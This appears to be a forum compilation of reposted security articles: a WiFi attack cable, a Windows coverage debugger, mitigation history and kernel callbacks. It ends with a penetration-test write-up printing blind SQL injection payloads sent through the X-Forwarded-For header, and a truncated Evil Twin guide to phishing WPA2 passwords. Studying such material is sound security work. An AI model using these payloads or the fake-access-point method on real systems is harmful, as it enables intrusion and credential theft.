data transmission between the cable and the computer, Grover told BleepingComputer that it could still be used for WiFi deauthentication attacks. WiFi deauth attacks are used to disconnect nearby wireless devices from an access point by sending deauthentication frames from spoofed MAC addresses. Grover envisions that a deauth attack can be used in scenarios where the attacker does not have access to a location to perform an attack, but the victim's plugged in cable does. This could allow a remote attacker to create a physical diversion while allowing another remote attack that may have been noticed to slip by. As an example, Grover illustrated the following scenario. "You aren’t in range of a wireless target, but the target person is. Using this cable, you can get them to carry the attack hardware inside a controlled area. Maybe to disrupt a camera? Maybe a fun disruption/diversion for another attack. (Imagine distributing a dozen inside an office and suddenly IT/Sec is focused on the chaos)." Researcher hopes to sell the cable This cable is not currently for sale, but Grover hopes to sell it to other security researchers in the future. Grover told BleepingComputer that he has spent approximately $4,000 over 300 hours of research into creating the needed WiFi PCBs and adding them to the cable. This was done using a desktop mill, which is typically not used to create high quality PCBs in a DIY environment. Due to this, many users were surprised by the quality of Grover's chips and Bantam, the manufacturer of the mill, reached out to learn how the researcher was able to do it. PCBs printed in various colors by Grover Before selling the cables, the researcher still wants to make more changes before sending it off for production. Sursa: https://www.bleepingcomputer.com/news/security/new-offensive-usb-cable-allows-remote-attacks-over-wifi/#.XGG_FsgLNm8.twitter
- 1 reply
-
- 2
-
-
Summary Mesos is a tool to gather binary code coverage on all user-land Windows targets without need for source or recompilation. It also provides an automatic mechanism to save a full minidump of a process if it crashes under mesos. Mesos is technically just a really fast debugger, capable of handling tens of millions of breakpoints. Using this debugger, we apply breakpoints to every single basic block in a program. These breakpoints are removed as they are hit. Thus, mesos converges to 0-cost coverage as gathering coverage only has a cost the first time the basic block is hit. Why? This is effectively the successor of my 5+ year old Chrome IPC fuzzer. It doesn't have any fuzz components in it, but it is a high-performance debugger. This debugger can apply millions of breakpoints to gather coverage, and handle thousands of breakpoints per second to modify memory to inject inputs. This strategy has worked out well for me historically and still is my go-to tooling for fuzzing targets on live systems. Out of the box it can be used to gather simple code coverage but it's designed to be easily modified to add fast breakpoint handlers to inject inputs. For example, put a breakpoint after NtReadFile() returns and modify the buffer in flight. I used this in Chrome to modify inbound IPC traffic in the browser. Features Code coverage Automatic full minidump saving IDA Coloring Quick Usage Guide Set %PATH% such that idat64.exe is in it: path %PATH%;"C:\Program Files\IDA 7.2" Generate mesos (the first time will be slow): powershell .\offline_meso.ps1 <pid> python generate_mesos.py process_ida Gather coverage on target! cargo build --release target\release\mesos.exe <pid> Applying 1.6 million breakpoints? No big deal. C:\dev\mesos>target\release\mesos.exe 13828 mesos is 64-bit: true target is 64-bit: true [ 0.003783] Applied 5629 breakpoints ( 5629 total breakpoints) notepad.exe [ 0.028071] Applied 61334 breakpoints ( 66963 total breakpoints) ntdll.dll [ 0.035298] Applied 25289 breakpoints ( 92252 total breakpoints) kernel32.dll [ 0.058815] Applied 55611 breakpoints ( 147863 total breakpoints) kernelbase.dll ... [ 0.667417] Applied 11504 breakpoints ( 1466344 total breakpoints) oleacc.dll [ 0.676151] Applied 19557 breakpoints ( 1485901 total breakpoints) textinputframework.dll [ 0.705431] Applied 66650 breakpoints ( 1552551 total breakpoints) coreuicomponents.dll [ 0.717276] Applied 25202 breakpoints ( 1577753 total breakpoints) coremessaging.dll [ 0.720487] Applied 7557 breakpoints ( 1585310 total breakpoints) ntmarta.dll [ 0.732045] Applied 28569 breakpoints ( 1613879 total breakpoints) iertutil.dll Usage To use mesos there are 3 major steps. First, the modules of a running process are saved. Second, these modules are loaded in IDA which then outputs a list of all basic blocks into the meso format. And finally, mesos is run against a target process to gather coverage! Creating meso_deps.zip This step is the first thing we have to do. We create a ZIP file containing all of the modules loaded into a given PID. This script requires no internet and is designed to be easily dropped onto new VMs so mesos can be generated for your target application. It depends on PowerShell v5.0 or later which is installed by default on Windows 10 and Windows Server 2016. Run, with <pid> replaced with the process ID you want to gather coverage on: C:\dev\mesos>powershell .\offline_meso.ps1 8484 Powershell is 64-bit: True Target is 64-bit: True C:\dev\mesos> Optionally you can supply -OutputZip <zipfile> to change the output zip file name This will create a meso_deps.zip that if you look at contains all of the modules used in the process you ran the script targeting. Example output: C:\dev\mesos>powershell .\offline_meso.ps1 8484 -OutputZip testing.zip Powershell is 64-bit: True Target is 64-bit: True C:\dev\mesos>powershell Expand-Archive testing.zip -DestinationPath example C:\dev\mesos>powershell Get-ChildItem example -rec -File -Name cache\c_\program files\common files\microsoft shared\ink\tiptsf.dll cache\c_\program files\intel\optaneshellextensions\iastorafsserviceapi.dll cache\c_\program files\widcomm\bluetooth software\btmmhook.dll cache\c_\program files (x86)\common files\adobe\coresyncextension\coresync_x64.dll ... Generating meso files To generate meso files we operate on the meso_deps.zip we created in the last step. It doesn't matter where this zip came from. This allows the zip to have come from a VM that the PowerShell script was run on. Basic usage is: python generate_mesos.py process_ida This will use the meso_deps.zip file as an input, and use IDA to process all executables in the zip file and figure out where their basic blocks are. This will create a cache folder with a bunch of files in it. These files are named based on the module name, the modules TimeDateStamp in the PE header, and the ImageSize field in the PE header. This is what DLLs are uniqued by in the PDB symbol store, so it should be good enough for us here too. You'll see there are files with no extension (these are the original binaries), there are files with .meso extensions (the breakpoint lists), and .i64 files (the cached IDA database for the original binary). Symbol resolution There is no limitation on what can make these meso files. The quality of the symbol resolution depends on the tool you used to generate and it's ability to resolve symbols. For example with IDA if you have public/private symbols your _NT_SYMBOL_PATH should be configured correctly. More advanced usage Check the programs usage for the most recent usage. But there are _whitelist and _blacklist options that allow you to use a list of strings to filter the amount of mesos generated. This is helpful as coverage outside of your target module is probably not relevant and just introduces overheads and unnecessary processing. C:\dev\mesos>python generate_mesos.py Usage: generate_mesos.py process_ida Processes all files in the meso_deps.zip file generate_mesos.py process_ida_whitelist <str 1> <str 2> <str ...> Processes files only containing one of the strings provided generate_mesos.py process_ida_blacklist <str 1> <str 2> <str ...> Processes files all files except for those containing one of the provided strings Examples: python generate_mesos.py process_ida_whitelist system32 Only processes files in `system32` python generate_mesos.py process_ida_blacklist ntdll.dll Process all files except for `ntdll.dll` Path requirements for process_ida_*: must have `idat64.exe` in your PATH Example usage C:\dev\mesos>python generate_mesos.py process_ida_whitelist system32 Processing cache/c_/windows/system32/advapi32.dll Processing cache/c_/windows/system32/bcryptprimitives.dll Processing cache/c_/windows/system32/cfgmgr32.dll ... Processing cache/c_/windows/system32/user32.dll Processing cache/c_/windows/system32/uxtheme.dll Processing cache/c_/windows/system32/win32u.dll Processing cache/c_/windows/system32/windows.storage.dll Processing cache/c_/windows/system32/wintypes.dll Meso usage Now we're onto the actual debugger. We've created meso files to tell it where to put breakpoints in each module. First we need to build it with Rust! cargo build --release And then we can simply run it with a PID! target\release\mesos.exe <pid> Command-line options Currently there are few options to mesos, run mesos without arguments to get the most recent list. C:\dev\mesos>target\release\mesos.exe Usage: mesos.exe <pid> [--freq | --verbose | --print] <explicit meso file 1> <explicit meso file ...> --freq - Treats all breakpoints as frequency breakpoints --verbose - Enables verbose prints for debugging --print - Prints breakpoint info on every single breakpoint [explicit meso file] - Load a specific meso file regardless of loaded modules Standard usage: mesos.exe <pid> Example usage C:\dev\mesos>target\release\mesos.exe 13828 mesos is 64-bit: true target is 64-bit: true [ 0.004033] Applied 5629 breakpoints ( 5629 total breakpoints) notepad.exe [ 0.029248] Applied 61334 breakpoints ( 66963 total breakpoints) ntdll.dll [ 0.037032] Applied 25289 breakpoints ( 92252 total breakpoints) kernel32.dll [ 0.062844] Applied 55611 breakpoints ( 147863 total breakpoints) kernelbase.dll ... [ 0.739059] Applied 66650 breakpoints ( 1552551 total breakpoints) coreuicomponents.dll [ 0.750266] Applied 25202 breakpoints ( 1577753 total breakpoints) coremessaging.dll [ 0.754485] Applied 7557 breakpoints ( 1585310 total breakpoints) ntmarta.dll [ 0.766119] Applied 28569 breakpoints ( 1613879 total breakpoints) iertutil.dll ... [ 23.544097] Removed 5968 breakpoints in imm32.dll [ 23.551529] Syncing code coverage database... [ 23.675103] Sync complete (169694 total unique coverage entries) Detached from process 13828 Why not use cargo run? When running in cargo run the Ctrl+C handler does not work correctly, and does not allow us to detach from the target program cleanly. Limitations Since this relies on a tool (IDA) to identify blocks, if the tool incorrectly identifies a block it could result in us inserting a breakpoint over data. Further it's possible to miss coverage if a block is not correctly found. Why doesn't it do more? Well. It really just allows fast breakpoints. Feel free to rip it apart and add your own hooks to functions. It could easily be used to fuzz things Why IDA? I tried a bunch of tools and IDA was the only one that seemed to work well. Binja probably would also work well but I don't have it installed and I'm not familiar with the API. I have a coworker who wrote a plugin for it and that'll probably get pull requested in soon. The meso files are just simple files, anyone can generate them from any tool Technical Details Minidump autogenned filenames The generated minidump filenames are designed to give a high-level of glance value at crashes. It includes things like the exception type, faulting address, and rough classification of the bug. Currently if it's an access violation we apply the following classification: Determine the access type (read, write, execute) For reads the filename contains: "read" For writes the filename contains: "WRITE" For execute the filename contains: "DEP" Determine if it's a non-canonical 64-bit address For non-canonical addresses the filename contains: NONCANON Otherwise determine if it's a NULL dereference (within 32 KiB +- of NULL) Will put "null" in the filename Otherwise it's considered a non-null deref and "HIGH" appears in the filename It's intended that more severe things are in all caps to give higher glance value of prioritizing which crash dumps to look into more. Example minidump filename for chrome: crash_c0000005_chrome_child.dll+0x2c915c0_WRITE_null.dmp Meso file format Coming soon (once it's stable) Sursa: https://github.com/gamozolabs/mesos
-
- 1
-
-
Benno Rice https://2019.linux.conf.au/schedule/p... systemd is, to put it mildly, controversial. As a FreeBSD developer I decided I wanted to know why. I delved into the history of bootstrap systems, and even the history of UNIX and other contemporary operating systems, to try and work out why something like systemd was seem as necessary, if not desirable. I also tried to work out why so many people found it so upsetting, annoying, or otherwise rage-inducing. Join me on a journey through the bootstrap process, the history of init, the reasons why change can be scary, and the discovery of a part of your OS you may not even know existed. linux.conf.au is a conference about the Linux operating system, and all aspects of the thriving ecosystem of Free and Open Source Software that has grown up around it. Run since 1999, in a different Australian or New Zealand city each year, by a team of local volunteers, LCA invites more than 500 people to learn from the people who shape the future of Open Source. For more information on the conference see https://linux.conf.au/
-
Microsoft: Improved security features are delaying hackers from attacking Windows users If a vulnerability is exploited, it is most likely going to be exploited as zero-day, or an old security bug for which users and companies have had enough time to patch. By Catalin Cimpanu for Zero Day | February 10, 2019 -- 18:37 GMT (18:37 GMT) | Topic: Security Image: Matt Miller Constant security improvements to Microsoft products are finally starting to pay off dividends, a Microsoft security engineer revealed last week. Speaking at the BlueHat security conference in Israel, Microsoft security engineer Matt Miller said that widespread mass exploitation of security flaws against Microsoft users is now uncommon --the exception to the rule, rather than the norm. Miller credited the company's efforts in improving its products with the addition of security-centric features such as a firewall on-by-default, Protected View in Office products, DEP (Data Execution Prevention), ASLR (Address Space Layout Randomization), CFG (Control Flow Guard), app sandboxing, and more. These new features have made it much harder for mundane cybercrime operations to come up with zero-days or reliable exploits for newly patched Microsoft bugs, reducing the number of vulnerabilities exploited at scale. Mass, non-discriminatory exploitation does eventually occur, but usually long after Microsoft has delivered a fix, and after companies had enough time to test and deploy patches. Miller said that when vulnerabilities are exploited, they are usually part of targeted attacks, rather than cybercrime-related mass exploitation attacks. For example, in 2018, 90 percent of all zero-days affecting Microsoft products were exploited part of targeted attacks. These are zero-days found and used by nation-state cyber-espionage groups against strategic targets, rather than vulnerabilities discovered by spam groups or exploit kit operators. The other 10 percent of zero-day exploitation attempts weren't cyber-criminals trying to make money, but people playing with non-weaponized proof-of-concept code trying to understand what a yet-to-be-patched vulnerability does. Image: Matt Miller "It is now uncommon to see a non-zero-day exploit released within 30 days of a patch being available," Miller also added. Exploits for both zero-day and non-zero-day vulnerabilities usually pop up much later because it's getting trickier and trickier to develop weaponized exploits for vulnerabilities because of all the additional security features that Microsoft has added to Windows and other products. Two charts in Miller's presentation perfectly illustrate this new state of affairs. The chart on the left shows how Microsoft's efforts into patching security flaws have intensified in recent years, with more and more security bugs receiving fixes (and a CVE identifier). On the other hand, the chart on the right shows that despite the rising number of known flaws in Microsoft products, fewer and fewer of these vulnerabilities are entering the arsenal of hacking groups and real-world exploitation within the 30 days after a patch. Image: Matt Miller This shows that Microsoft's security defenses are doing their job by putting additional hurdles in the path of cybercrime groups. If a vulnerability is exploited, it is most likely going to be exploited as zero-day by some nation-state threat actor, or as an old security bug for which users and companies have had enough time to patch. Sursa: https://www.zdnet.com/article/microsoft-improved-security-features-are-delaying-hackers-from-attacking-windows-users/
-
John Lambert @JohnLaTwC 2 days ago, 23 tweets, 5 min read Read on Twitter Story time. This one is about a feature in Windows called ASLR. It was 2005. We were working on Windows Vista. Most remember it as the release with the maligned User Account Control feature. For us in Trustworthy Computing it was the first full Windows cycle where we could apply all the security engineering tools we had from start to finish. Efforts such as fuzzing file parsers, scrubbing the code of ‘banned APIs’ across millions of lines of code, fixing masses of potential bugs from static analysis, and driving initiatives to deal with newly discovered ‘diseases’ like mismatched container COM instantiation. We hired the most spectacular group of researchers I’ve seen assembled from NGS, iSEC Partners, IOActive, and n.runs, gave them source code, access to Windows engineers, and told to hack without boundaries. My words to them in an early meeting were “you are here to blow sh*t up” A quieter effort was going on to shore up our memory safety mitigations. Mitigations touch the holiest of holies in the OS: the compiler, the memory manager, the loader. Areas you just don’t mess with late in an OS release. The breathing room created by hardware Data Execute Protection we added in XP SP2 was gone. Exploits were using return to libc attacks and taking advantage of the fact that much of the memory layout in a Windows process was predictable. This was a feature. A lot of work went in to carefully laying out memory so commonly loaded DLLs would never ‘collide’ and require the OS to relocate them at load time. The performance saving across every boot, every process load, on every PC was massive. And we needed to undo that work to build a new defense—Address Space Layout Randomization or ASLR. ASLR would scramble the location of loaded modules and other process structures. However, it was late in the release, crazy late, to contemplate a change of this magnitude. We had a few things in our favor. The feature was championed by @MattT_Cyber. Sometimes things happen because the right person says they need to happen. This was one of those features and Matt was one of those people. Our Exec VP, Jim Allchin, wanted it. Ever since Blaster, he pushed the team to contemplate big security “sledgehammers” instead of just fighting bugs in “hand to hand combat”. Host firewall on by default in XPSP2, hardware DEP support, and now ASLR. Brian Valentine, who oversaw Windows development, recalled a @bluehat talk by @hdmoore where he showed these tables that Metasploit had for identifying code gadgets in consistent locations across OS and service packs. “Will this break that?” It would and that was enough for him. Sponsorship was there but could we pull it off? A crucial moment arrived when the developer responsible for the memory manager, Landy Wang, finished up his backlog of work and got a free moment to consider it. It was a complex change and would it have the desired payoff? He turned to a trusted engineer, Neill Clift, and privately asked if it was worth doing. Neill gave it a nod. I remember Landy doing an initial prototype over a weekend. Suddenly we were in the game. A boatload of work remained to make it truly viable with contributions across the company: - Architecture and Development: LandyW, ArunKi, RichardS, BryanT - Security Analysis: NeillC, NiGoel, MichalCh, SergFo - AppCompat Analysis: RobKenny, RPaige, TBaxter Needless to say, it happened. We pondered how to announce it. Since ASLR was a feature that security researchers would notice, we decided to introduce it at a researcher conference. The year before I attended Ph Neutral put on by the legendary Phenoelit group in Germany. mentions took me around and introduced me to people at the con. Sometimes people are right where they need to be. Microsoft needed @window and she brought down walls between Microsoft and the researcher community. This conference was the right spot. I flew to Berlin. In 2006 Microsoft was very controversial in security circles. Showing up as the representative of the “evil empire” in a den of security researchers dedicated to finding our flaws and revealing them to a seeming clueless corporate behemoth was enough to give anyone pause I entered the room to give my presentation. The room filled up. Completely up. People were sitting on the floor, standing along the walls, hovering in the doorway. There was an electricity in the air--the room was finally going to hear from a Microsoft insider on our efforts. Would people be hostile? Interrupt and challenge me? There were plenty of reasons for the crowd to be cynical. I had no idea how this was going to go. I had prepared a very technical presentation because I that’s how I thought to best respect the audience. FX (@41414141) came up to the front and introduced me. Then he did something I’ll never forget. Seeming on the spur of the moment, he didn’t join the audience and instead sat next to me by the podium. It was a small thing in some ways, but it meant the world to me. His presence next to me seemed to suggest to the room “he is a guest here and we will treat him with respect”. To feel like an outsider and have the ultimate insider in his forum make sure you will be treated right is one of the kindest gestures I’ve ever received. I completed my presentation and found the subsequent hallway conversations thrilling. I later delivered the same brief at Blackhat (blackhat.com/presentations/…). As time went on, the value of ASLR diminished but I remember most the human moments that brought together an unlikely cast working on the messy hairball of security, enduring headwinds and advancing forward. Sursa: https://threadreaderapp.com/thread/1093956949073289216.html
-
Yes, More Callbacks — The Kernel Extension Mechanism Yarden Shafir Jan 1 Recently I had to write a kernel-mode driver. This has made a lot of people very angry and been widely regarded as a bad move. (Douglas Adams, paraphrased) Like any other piece of code written by me, this driver had several major bugs which caused some interesting side effects. Specifically, it prevented some other drivers from loading properly and caused the system to crash. As it turns out, many drivers assume their initialization routine (DriverEntry) is always successful, and don’t take it well when this assumption breaks. j00ru documented some of these cases a few years ago in his blog, and many of them are still relevant in current Windows versions. However, these buggy drivers are not really the issue here, and j00ru covered it better than I could anyway. Instead I focused on just one of these drivers, which caught my attention and dragged me into researching the so-called “windows kernel host extensions” mechanism. The lucky driver is Bam.sys (Background Activity Moderator) — a new driver which was introduced in Windows 10 version 1709 (RS3). When its DriverEntry fails mid-way, the call stack leading to the system crash looks like this: From this crash dump, we can see that Bam.sys registered a process creation callback and forgot to unregister it before unloading. Then, when a process was created / terminated, the system tried to call this callback, encountered a stale pointer and crashed. The interesting thing here is not the crash itself, but rather how Bam.sys registers this callback. Normally, process creation callbacks are registered via nt!PsSetCreateProcessNotifyRoutine(Ex), which adds the callback to the nt!PspCreateProcessNotifyRoutine array. Then, whenever a process is being created or terminated, nt!PspCallProcessNotifyRoutines iterates over this array and calls all of the registered callbacks. However, if we run for example “!wdbgark.wa_systemcb /type process“ in WinDbg, we’ll see that the callback used by Bam.sys is not found in this array. Instead, Bam.sys uses a whole other mechanism to register its callbacks. If we take a look at nt!PspCallProcessNotifyRoutines, we can see an explicit reference to some variable named nt!PspBamExtensionHost (there is a similar one referring to the Dam.sys driver). It retrieves a so-called “extension table” using this “extension host” and calls the first function in the extension table, which is bam!BampCreateProcessCallback. If we open Bam.sys in IDA, we can easily find bam!BampCreateProcessCallback and search for its xrefs. Conveniently, it only has one, in bam!BampRegisterKernelExtension: As suspected, Bam!BampCreateProcessCallback is not registered via the normal callback registration mechanism. It is actually being stored in a function table named Bam!BampKernelCalloutTable, which is later being passed, together with some other parameters (we’ll talk about them in a minute) to the undocumented nt!ExRegisterExtension function. I tried to search for any documentation or hints for what this function was responsible for, or what this “extension” is, and couldn’t find much. The only useful resource I found was the leaked ntosifs.h header file, which contains the prototype for nt!ExRegisterExtension as well as the layout of the _EX_EXTENSION_REGISTRATION_1 structure. Prototype for nt!ExRegisterExtension and _EX_EXTENSION_REGISTRATION_1, as supplied in ntosifs.h: NTKERNELAPI NTSTATUS ExRegisterExtension ( _Outptr_ PEX_EXTENSION *Extension, _In_ ULONG RegistrationVersion, _In_ PVOID RegistrationInfo ); typedef struct _EX_EXTENSION_REGISTRATION_1 { USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; VOID *FunctionTable; PVOID *HostInterface; PVOID DriverObject; } EX_EXTENSION_REGISTRATION_1, *PEX_EXTENSION_REGISTRATION_1; After a bit of reverse engineering, I figured that the formal input parameter “PVOID RegistrationInfo” is actually of type PEX_EXTENSION_REGISTRATION_1. The pseudo-code of nt!ExRegisterExtension is shown in appendix B, but here are the main points: nt!ExRegisterExtension extracts the ExtensionId and ExtensionVersion members of the RegistrationInfo structure and uses them to locate a matching host in nt!ExpHostList (using the nt!ExpFindHost function, whose pseudo-code appears in appendix B). Then, the function verifies that the amount of functions supplied in RegistrationInfo->FunctionCount matches the expected amount set in the host’s structure. It also makes sure that the host’s FunctionTable field has not already been initialized. Basically, this check means that an extension cannot be registered twice. If everything seems OK, the host’s FunctionTable field is set to point to the FunctionTable supplied in RegistrationInfo. Additionally, RegistrationInfo->HostInterface is set to point to some data found in the host structure. This data is interesting, and we’ll discuss it soon. Eventually, the fully initialized host is returned to the caller via an output parameter. We saw that nt!ExRegisterExtension searches for a host that matches RegistrationInfo. The question now is, where do these hosts come from? During its initialization, NTOS performs several calls to nt!ExRegisterHost. In every call it passes a structure identifying a single driver from a list of predetermined drivers (full list in appendix A). For example, here is the call which initializes a host for Bam.sys: nt!ExRegisterHost allocates a structure of type _HOST_LIST_ENTRY (unofficial name, coined by me), initializes it with data supplied by the caller, and adds it to the end of nt!ExpHostList. The _HOST_LIST_ENTRY structure is undocumented, and looks something like this: struct _HOST_LIST_ENTRY { _LIST_ENTRY List; DWORD RefCount; USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; // number of callbacks that the extension // contains POOL_TYPE PoolType; // where this host is allocated PVOID HostInterface; // table of unexported nt functions, // to be used by the driver to which // this extension belongs PVOID FunctionAddress; // optional, rarely used. // This callback is called before // and after an extension for this // host is registered / unregistered PVOID ArgForFunction; // will be sent to the function saved here _EX_RUNDOWN_REF RundownRef; _EX_PUSH_LOCK Lock; PVOID FunctionTable; // a table of the callbacks that the // driver “registers” DWORD Flags; // Only uses one bit. // Not sure about its meaning. } HOST_LIST_ENTRY, *PHOST_LIST_ENTRY; When one of the predetermined drivers loads, it registers an extension using nt!ExRegisterExtension and supplies a RegistrationInfo structure, containing a table of functions (as we saw Bam.sys doing). This table of functions will be placed in the FunctionTable member of the matching host. These functions will be called by NTOS in certain occasions, which makes them some kind of callbacks. Earlier we saw that part of nt!ExRegisterExtension functionality is to set RegistrationInfo->HostInterface (which contains a global variable in the calling driver) to point to some data found in the host structure. Let’s get back to that. Every driver which registers an extension has a host initialized for it by NTOS. This host contains, among other things, a HostInterface, pointing to a predetermined table of unexported NTOS functions. Different drivers receive different HostInterfaces, and some don’t receive one at all. For example, this is the HostInterface that Bam.sys receives: So the “kernel extensions” mechanism is actually a bi-directional communication port: The driver supplies a list of “callbacks”, to be called on different occasions, and receives a set of functions for its own internal use. To stick with the example of Bam.sys, let’s take a look at the callbacks that it supplies: BampCreateProcessCallback BampSetThrottleStateCallback BampGetThrottleStateCallback BampSetUserSettings BampGetUserSettingsHandle The host initialized for Bam.sys “knows” in advance that it should receive a table of 5 functions. These functions must be laid-out in the exact order presented here, since they are called according to their index. As we can see in this case, where the function found in nt!PspBamExtensionHost->FunctionTable[4] is called: To conclude, there exists a mechanism to “extend” NTOS by means of registering specific callbacks and retrieving unexported functions to be used by certain predetermined drivers. I don’t know if there is any practical use for this knowledge, but I thought it was interesting enough to share. If you find anything useful / interesting to do with this mechanism, I’d love to know :) Appendix A — Extension hosts initialized by NTOS: Appendix B — functions pseudo-code: Appendix C — structures definitions: struct _HOST_INFORMATION { USHORT ExtensionId; USHORT ExtensionVersion; DWORD FunctionCount; POOL_TYPE PoolType; PVOID HostInterface; PVOID FunctionAddress; PVOID ArgForFunction; PVOID unk; } HOST_INFORMATION, *PHOST_INFORMATION; struct _HOST_LIST_ENTRY { _LIST_ENTRY List; DWORD RefCount; USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; // number of callbacks that the // extension contains POOL_TYPE PoolType; // where this host is allocated PVOID HostInterface; // table of unexported nt functions, // to be used by the driver to which // this extension belongs PVOID FunctionAddress; // optional, rarely used. // This callback is called before and // after an extension for this host // is registered / unregistered PVOID ArgForFunction; // will be sent to the function saved here _EX_RUNDOWN_REF RundownRef; _EX_PUSH_LOCK Lock; PVOID FunctionTable; // a table of the callbacks that // the driver “registers” DWORD Flags; // Only uses one flag. // Not sure about its meaning. } HOST_LIST_ENTRY, *PHOST_LIST_ENTRY;; struct _EX_EXTENSION_REGISTRATION_1 { USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; PVOID FunctionTable; PVOID *HostTable; PVOID DriverObject; }EX_EXTENSION_REGISTRATION_1, *PEX_EXTENSION_REGISTRATION_1; Yarden_Shafir Security researcher Sursa: https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a
-
X Forwarded for SQL injection 06.Feb.2019 Nikos Danopoulos, Ghost Labs Ghost Labs Ghost Labs performs hundreds of success tests for its customers ranging from global enterprises to SMEs. Our team consists of highly skilled ethical hackers, covering a wide range of advanced testing services to help companies keep up with evolving threats and new technologies. Last year, on May, I was assigned a Web Application test of a regular customer. As the test was blackbox one of the few entry points - if not the only - was a login page. The tight scoping range and the staticity of the Application did not provide many options. After spending some time on the enumeration phase by trying to find hidden files/directories, leaked credentials online, common credentials, looking for vulnerable application components and more I was driven to a dead end. No useful information were received, the enumeration phase had finished and no process had been made. Moreover, every fuzzing attempt on the login parameters didn’t not trigger any interesting responses. Identifying the entry point A very useful Burp Suite Extension is Bypass WAF. To find out how this extension works, have a quick look here. Briefly, this extension is used to bypass a Web Application firewall by inserting specific headers on our HTTP Requests. X-Forwarded-For is one of the them. What this header is also known for though is for the frequent use by the developers to store the IP Data of the client. The following backend SQL statement is a vulnerable example of this: mysql_query("SELECT username, password FROM users-data WHERE username='".sanitize($_POST['username'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ipadr()."'"); More info here: SQL Injection through HTTP Headers Where ipadr() is a function that reads the $_SERVER['HTTP_X_FORWARDED_FOR'] value (X-Forwarded-For header) and by applying some regular expression decides whether to store the value or not. For the web application I was testing, it turned out to have a similar vulnerability. The provided X-Forwarded-For header was not properly validated, it was parsed as a SQL statement and there was the entry point. Moreover, it was not mandatory to send a POST request to the login page and inject the payload through the header. The header was read and evaluated on the index page, by just requesting the “/” directory. Due to the application’s structure, I was not able to trigger any visible responses from the payloads. That made the Injection a Blind, Time Based one. Out of several and more complex payloads - mainly for debugging purposes - the final, initial, payload was: "XOR(if(now()=sysdate(),sleep(6),0))OR” And it was triggered by a similar request: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 X-Forwarded-For: "XOR(if(now()=sysdate(),sleep(6),0))OR” X-Requested-With: XMLHttpRequest Referer: http://internal.customer.info/ Host: internal.customer.info Connection: close Accept-Encoding: gzip,deflate Accept: / The response was delayed, the sleep value was incremented to validate the finding and indeed, the injection point was ready. As sqlmap couldn’t properly insert the injection point inside the XOR payload, an initial manual enumeration was done. The next information extracted was the Database Length. That would allow me to later identify the Database Name too. Here is the payload used: "XOR(if(length(database())<='30',sleep(5),null))OR" Of course, Burp Intruder was used to gradually increment the database length value. It turned out that the Database Length is 30. To find the Database Name Burp Intruder was used again with the following payload: "XOR(if(MID(database(),1,1)='§position§',sleep(9),0))OR" To automate this in an attack the following payload was used: "XOR(if(MID(database(),1,§number§)='§character§',sleep(2),0))OR" During the attack I noticed that the first 3 characters are the same with the first character of the domain name I am testing. The domain were 20 character long. I paused the intruder attack, went back to repeater and verified like this: "XOR(if(MID(database(),1,20)='<domain-name>',sleep(4),0))OR" Indeed, the server delayed to respond indicating that the 15 first characters of the Database Name are the same as the domain name. The database name was 30 characters long. I had to continue the attack but this time with a different payload, starting the attack from character 21, in order to find the full database name. After a few minutes, the full database name was extracted. Format: “<domain-name>_<subdomain-name>_493 ” With the database name I then attempted to enumerate table names. Similarly, a char-by-char bruteforce attacks is required to find the valid names. To do this I loaded the information_schema.tables table that provides information about all the databases’ tables. I filtered only the current’s database related tables by using the WHERE clause: "XOR(if(Ascii(substring(( Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))= '100', sleep(5),0))OR"*/ As the previous payload was the initial one, I simplified it to this: "XOR(if((substring(( Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='a', sleep(3),0)) OR "*/ Again, the payload was parsed to Burp Intruder to automate the process. After a few minutes the first tables were discovered: After enumerating about 20 Tables Names I decided to try again my luck with SQLmap. As several tables where discovered, one of them was used to help sqlmap understand the injection point and continue the attack. Payload used in sqlmap: XOR(select 1 from cache where 1=1 and 1=1*)OR By that time I managed to properly set the injection point and I forced sqlmap to just extract the column names and data from the interesting tables. Notes and Conclusion At the end of the injection the whole database along with the valuable column information was received. The customer was notified immediately and the attack was reproduced as a proof of concept. Sometimes manual exploitation - especially blind, time based attacks - may seem tedious. As shown, it is also sometimes difficult to automate a detected injection attack. The best thing that can be done on such cases is to manually attack until all the missing information for the automation of the attack are collected. Sursa: https://outpost24.com/blog/X-forwarded-for-SQL-injection
-
- 1
-
-
Evil Twin Attack: The Definitive Guide by Hardeep Singh Last updated Feb. 10, 2019 In this article I’ll show you how an attacker can retrieve cleartext WPA2 passphrase on automation using an Evil Twin Access Point. No need of cracking or any extra hardware other than a Wireless adapter. I am using a sample web page for the demonstration. An attacker can turn this webpage into basically any webapp to steal information. Information like domain credentials, social login passwords, credit card information etc. ET Evil Twin noun Definition A fraudulent wireless access point masquerading as a legitimate AP. Evil Twin Access Point’s sole purpose is to eavesdrop on WiFi users to steal personal or corporate information without user’s knowledge. We will not be using any automated script, rather we will understand the concept and perform it manually so that you can make your own script to automate the task and make it simple and usable on low-end devices. Lets begin now! Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Evil Twin Attack Methodology Step 1: Attacker scans the air for the target access point information. Information like SSID name, Channel number, MAC Address. He then uses that information to create an access point with same characteristics, hence Evil Twin Attack. Step 2: Clients on the legitimate AP are repeatedly disconnected, forcing users to connect to the fraudulent access point. Step 3: As soon as the client is connected to the fake access point, S/he may start browsing Internet. Step 4: Client opens up a browser window and see a web administrator warning saying “Enter WPA password to download and upgrade the router firmware” Step 5: The moment client enters the password, s/he will be redirected to a loading page and the password is stored in the MySQL database of the attacker machine. The persistent storage and active deauthentication makes this attack automated. An attacker can also abuse this automation by simply changing the webpage. Imagine the same WPA2 password warning is replaced by “Enter domain credentials to access network resources”. The fake AP will be up all time and storing legitimate credentials in persistent storage. I’ll discuss about it in my Captive Portal Guide. Where I’ll demonstrate how an attacker can even hack domain credentials without having a user to open a webpage. Just connecting the WiFi can take a WiFi user to our webpage, automatically. A WiFi user could be using Android, iOS, a MacOS or a windows laptop. Almost every device is susceptible to it. but for now I’ll show you how the attack 